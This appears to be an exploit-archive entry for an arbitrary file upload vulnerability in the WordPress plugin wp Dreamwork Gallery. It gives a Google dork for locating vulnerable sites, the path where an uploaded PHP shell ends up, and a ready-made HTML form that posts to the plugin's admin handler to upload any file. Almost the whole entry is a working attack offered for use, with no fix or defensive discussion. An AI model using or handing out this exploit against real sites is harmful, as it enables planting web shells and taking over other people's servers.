Arbitrary File Upload Vulnerability in Wp Dreamwork Gallery

<html>
<body>
<br># Exploit Title: Arbitrary File Upload Vulnerability in wp Dreamwork Gallery
<br># Category: webapps
<br># Google Dork : inurl:/wp-content/plugins/wp-dreamworkgallery/
<br># contact: fb.com/xhac.kerr
<br>=======================================================================
<br>shell path:/wp-content/uploads/dreamwork/7_uploadfolder/big/shellname.php
<br>
<br>exploit

<form action="http://www.site.com/wp-admin/admin.php?page=dreamwork_manage" method="POST" enctype="multipart/form-data">
<input type="hidden" name="task" value="drm_add_new_album" />
<input type="hidden" name="album_name" value="Arbitrary File Upload" />
<input type="hidden" name="album_desc" value="Arbitrary File Upload" />
<input type="file" name="album_img" value="" />
<input type="submit" value="Submit" />
</form>
</body>
</html>